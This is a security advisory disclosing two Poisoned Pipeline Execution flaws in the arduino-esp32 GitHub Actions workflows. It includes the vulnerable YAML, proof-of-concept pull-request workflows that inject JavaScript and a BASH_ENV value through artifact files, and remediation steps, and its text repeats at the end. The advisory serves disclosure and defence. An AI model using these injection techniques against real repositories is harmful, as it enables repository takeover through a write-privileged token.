Summary
arduino-esp32
CI is vulnerable to multiple Poisoned Pipeline Execution (PPE) vulnerabilities. This affects this repo and any other that might use these workflows.
Code injection in tests_results.yml
workflow (GHSL-2024-169
)
The tests_results
workflow is triggered when the Wokwi tests
workflows completes:
on:
workflow_run:
workflows: ["Wokwi tests"]
types:
- completed
It then downloads an artifact uploaded by the triggering workflow into the artifacts/
directory:
- name: Download and Extract Artifacts
uses: dawidd6/action-download-artifact@v6
with:
run_id: ${{ github.event.workflow_run.id }}
path: ./artifacts
And read the contents of the artifacts into different Environment Variables:
```yaml
- name: Get original info
run: |
original_event=$(cat ./artifacts/parent-artifacts/event.txt)
original_action=$(cat ./artifacts/parent-artifacts/action.txt)
original_sha=$(cat ./artifacts/parent-artifacts/sha.txt)
original_ref=$(cat ./artifacts/parent-artifacts/ref.txt)
original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt)
echo "original_event=$original_event" >> $GITHUB_ENV
echo "original_action=$original_action" >> $GITHUB_ENV
echo "original_sha=$original_sha" >> $GITHUB_ENV
echo "original_ref=$original_ref" >> $GITHUB_ENV
echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV
Some of the attacker-controlled variables (such as the original_ref
variable) are later interpolated into a JavaScript script, enabling an attacker to alter the code of the script and execute arbitrary code in the context of a high-privileged workflow:
- name: Clean up caches
if: always()
uses: actions/github-script@v7
with:
script: |
const ref = '${{ env.original_ref }}';
...
PoC
- Clone the repository
- Edit the
tests_wokwi.yml
workflow.
name: Wokwi tests
on:
pull_request:
jobs:
trigger:
name: Upload artifact
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p artifacts
printf "${{ github.sha }}" > artifacts/sha.txt
printf "pull_request" > artifacts/event.txt
printf "success" > artifacts/conclusion.txt
printf "" > artifacts/action.txt
# PAYLOAD
printf "foo'; console.log('CODE INJECTION'); //" > artifacts/ref.txt
- Create a Pull Request with this change.
- Since the modified workflow is triggered on
pull_request
, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable Publish and clean test results
workflow which will read the malicious artifact and use its contents to modify the JS script.
Impact
This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:
Actions: write
Checks: write
Contents: write
Metadata: read
PullRequests: write
Statuses: write
Remediation
- Verify the contents of the downloaded artifacts.
- Pass data into the JS script using an Environment Variable and read it from JS using
process.env
Environment Variable injection (GHSL-2024-170
)
In the same workflow/step, the untrusted data from an artifact is redirected to GITHUB_ENV to create a new Environment Variable:
- name: Get original info
run: |
original_event=$(cat ./artifacts/parent-artifacts/event.txt)
original_action=$(cat ./artifacts/parent-artifacts/action.txt)
original_sha=$(cat ./artifacts/parent-artifacts/sha.txt)
original_ref=$(cat ./artifacts/parent-artifacts/ref.txt)
original_conclusion=$(cat ./artifacts/parent-artifacts/conclusion.txt)
echo "original_event=$original_event" >> $GITHUB_ENV
echo "original_action=$original_action" >> $GITHUB_ENV
echo "original_sha=$original_sha" >> $GITHUB_ENV
echo "original_ref=$original_ref" >> $GITHUB_ENV
echo "original_conclusion=$original_conclusion" >> $GITHUB_ENV
The $GITHUB_ENV
pointed file is just a regular file where every KEY=VALUE
will be used to define a new Environment Variable.
An attacker can send a malicious event.txt
file (or any of the other artifacts), with the following content:
pull_request
BASH_ENV=$(echo "ENV-VAR INJECTION")
Which will result in two Environment Variables being defined:
- original_event=pull_request
- BASH_ENV=$(echo "ENV-VAR INJECTION")
The BASH_ENV
will pollute the bash environment so that next Run
step will execute the code in the variable.
PoC
- Clone the repository
- Edit the
tests_wokwi.yml
workflow.
name: Wokwi tests
on:
pull_request:
jobs:
trigger:
name: Upload artifact
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p artifacts
printf "${{ github.sha }}" > artifacts/sha.txt
printf "pull_request" > artifacts/event.txt
printf "success" > artifacts/conclusion.txt
printf "" > artifacts/action.txt
# PAYLOAD
printf "pull_request\nBASH_ENV=$(echo 'ENV-VAR INJECTION')" > artifacts/ref.txt
- Create a Pull Request with this change.
- Since the modified workflow is triggered on
pull_request
, the attacker Pull Request will trigger it and upon completion will trigger the vulnerable Publish and clean test results
workflow which will read the malicious artifact and use its contents to modify the JS script.
Impact
This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:
Actions: write
Checks: write
Contents: write
Metadata: read
PullRequests: write
Statuses: write
Remediation
- Verify the contents of the downloaded artifacts.
- Do not allow new lines in the value redirected to GITHUB_ENV
Resources
Summary
arduino-esp32
CI is vulnerable to multiple Poisoned Pipeline Execution (PPE) vulnerabilities. This affects this repo and any other that might use these workflows.Code injection in
tests_results.yml
workflow (GHSL-2024-169
)The
tests_results
workflow is triggered when theWokwi tests
workflows completes:It then downloads an artifact uploaded by the triggering workflow into the
artifacts/
directory:And read the contents of the artifacts into different Environment Variables:
Some of the attacker-controlled variables (such as the
original_ref
variable) are later interpolated into a JavaScript script, enabling an attacker to alter the code of the script and execute arbitrary code in the context of a high-privileged workflow:PoC
tests_wokwi.yml
workflow.pull_request
, the attacker Pull Request will trigger it and upon completion will trigger the vulnerablePublish and clean test results
workflow which will read the malicious artifact and use its contents to modify the JS script.Impact
This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:
Remediation
process.env
Environment Variable injection (
GHSL-2024-170
)In the same workflow/step, the untrusted data from an artifact is redirected to GITHUB_ENV to create a new Environment Variable:
The
$GITHUB_ENV
pointed file is just a regular file where everyKEY=VALUE
will be used to define a new Environment Variable.An attacker can send a malicious
event.txt
file (or any of the other artifacts), with the following content:pull_request BASH_ENV=$(echo "ENV-VAR INJECTION")
Which will result in two Environment Variables being defined:
The
BASH_ENV
will pollute the bash environment so that nextRun
step will execute the code in the variable.PoC
tests_wokwi.yml
workflow.pull_request
, the attacker Pull Request will trigger it and upon completion will trigger the vulnerablePublish and clean test results
workflow which will read the malicious artifact and use its contents to modify the JS script.Impact
This issue may lead to a repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:
Remediation
Resources